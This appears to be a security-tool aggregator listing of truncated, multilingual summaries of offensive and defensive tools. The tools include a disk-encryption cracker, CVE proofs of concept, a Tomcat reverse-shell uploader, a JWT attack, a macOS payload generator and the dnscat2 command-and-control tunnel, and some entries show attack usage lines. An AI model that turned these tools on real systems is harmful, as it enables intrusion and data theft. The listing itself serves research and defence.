vboxdie-cracker

Virtual Box Disk Image Encryption password cracker Requirements 1. PHP = 5.5.0 2. OpenSSL = 1.0.1 XTS support Algorithm description User password is stored using a combination of PBKDF2 and AES-XTS as following shown values are fixed at the moment, but they can be controlled inside the file forma...

nosqlpot

NoSQL-Honeypot-Framework NoPo NoSQL-Honeypot-Framework NoPo is an open source honeypot for nosql databases that automates the process of detecting attackers,logging attack incidents. The simulation engines are deployed using the twisted framework.Currently the framework holds support for redis. N...

yaraast v2.0.1rc1

yaraast Parse, analyze, and transform YARA rules with a Python AST toolkit Overview yaraast is a Python library for parsing and manipulating YARA-family rules using Abstract Syntax Trees AST. It supports classic YARA, YARA-L, and YARA-X workflows with automatic dialect detection and CLI tooling...

OutOfTune

OutOfTune 受原始 Pytune 启发，OutOfTune 在 Entra ID 中注册一个恶意设备，将其注册到 Intune MDM，并检查最终的合规状态。 目前仅支持 Windows 设备（这是我的主要目标），未来可能会添加其他平台。 配套博客： https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/...

CVE-2025-0133

描述： 这是一个针对 CVE-2025-0133 的 POC，仅适用于已启用 GlobalProtect 网关或门户的 PAN-OS 防火墙配置。 它检查从文件接收的多个 URL 上的问题，支持自定义线程。您还可以设置超时时间并将结果保存到文件中。 使用示例： MacBook-Wiseep-Dev:github root python3.9 CVE-2025-0133.py -h usage: CVE-2025-0133.py -h --file FILE --thread THREAD --timeout TIMEOUT --output OUTPUT Palo Alto...

warsend

WARSend Apache Tomcat Manager API WAR Shell 上传 先决条件 凭据 具有 Tomcat Manager 的 Text API 访问权限 root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||////...

CVE-2024-23897

CVE-2024-23897 | Jenkins -p -f 或 root@kitploit: python CVE-2024-23897.py -i -f 参数： -t 或 --target: 指定目标IP。支持单一IP、IP范围、逗号分隔列表或CIDR块。...

C-Game-Modding-Utility

C/C++ Game Modding Utility This utility aims to make writing mods for 5th/6th generation console games in C/C++ easier. It handles all the tedious setup, letting you focus on actually writing code. No manual cross-compiler setup. No manual ISO rebuilding. No complicated testing workflows. Feature...

CVE-2026-81486 bsmi021 mcp-file-context-server Path Resolution index.ts read_context path traversal

A vulnerability was detected in bsmi021 mcp-file-context-server 1.0.0. Affected by this issue is the function readcontext of the file src/index.ts of the component Path Resolution. Performing a manipulation of the argument path results in path traversal. It is possible to initiate the attack...

CVE-2026-81486

bsmi021 mcp-file-context-server 1.0.0 contains a path traversal vulnerability in the Path Resolution component, specifically in the function read_context within src/index.ts. Manipulating the path argument allows an unauthenticated remote attacker to read files outside the intended directory, res...

EUVD-2026-66833

A vulnerability was detected in bsmi021 mcp-file-context-server 1.0.0. Affected by this issue is the function readcontext of the file src/index.ts of the component Path Resolution. Performing a manipulation of the argument path results in path traversal. It is possible to initiate the attack...

Log4JHunt

Log4JHunt 一个用于检测 Log4Shell CVE-2021-44228 漏洞的自动化、可靠扫描器。 视频演示： 用法 以下是帮助用法： root@kitploit: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Author: Pinaki Mondal RHL Research Team + Continuously Track...

nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

page-cache-corruption-lpes

LPEs de corrupción de caché de páginas 3 exploits de escalada local de privilegios del kernel de Linux. Misma clase de bug que Dirty COW y Dirty Pipe. Shell root en segundos. Todas las principales distros afectadas. Los tres corrompen la caché de páginas del kernel — la copia en memoria de los...

CVE-2026-30332

CVE-2026-30332 Descripción Se identificó una vulnerabilidad de Time-of-Check a Time-of-Use TOCTOU en Balena Etcher para Windows en versiones anteriores a la 2.1.4. La aplicación crea un archivo temporal .cmd en un directorio escribible por el usuario y posteriormente lo ejecuta con privilegios...

Mystikal

Mystikal Generador de payloads de acceso inicial para macOS Diseñado para usarse con https://github.com/its-a-feature/Mythic Publicación de blog relacionada: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 Uso: 1. Instala Xcode en la máquina de compilación requerido para el paquete ...

chain-reactor

Chain Reactor Chain Reactor is an open source tool for testing detection and response coverage on Linux machines. The tool generates executables that simulate sequences of actions like process creation and network connection. Chain Reactor assumes no prior engineering experience; the tool consume...

RS256-2-HS256

RS256-2-HS256 将算法从RS256更改为HS256的JWT攻击 用法 root@kitploit: usage: RS2562HS256JWT.py -h payload pubkey positional arguments: payload JSON payload from JWT to attack pubkey Public key file to use for signing optional arguments: -h, --help show this help message and exit 示例...

QCSuper

QCSuper QCSuper es una herramienta que se comunica con teléfonos y módems basados en Qualcomm, permitiendo capturar tramas de radio 2G/3G/4G y 5G en ciertos modelos en bruto, entre otras cosas. Te permitirá generar capturas PCAP de ello usando ya sea un teléfono Android rooteado, un dongle USB o...

dnscat2

注意：.zip 下载文件的密码均为 "password"！ 简介 欢迎使用 dnscat2，一个不会让你生病和死亡的 DNS 隧道！ 该工具旨在通过 DNS 协议创建一个加密的命令与控制（C&C）通道，这是一种能有效穿越几乎所有网络的隧道。 本 README 文件应包含您开始使用所需的一切！如果您想深入了解协议细节、代码结构、未来计划或其他深奥内容，请查看 doc/ 文件夹。 许可证 本项目基于 BSD 许可证发布。请参阅 LICENSE.md 了解更多信息。 概述 dnscat2 由两部分组成：客户端和服务器。 客户端设计用于在受感染机器上运行。它用 C...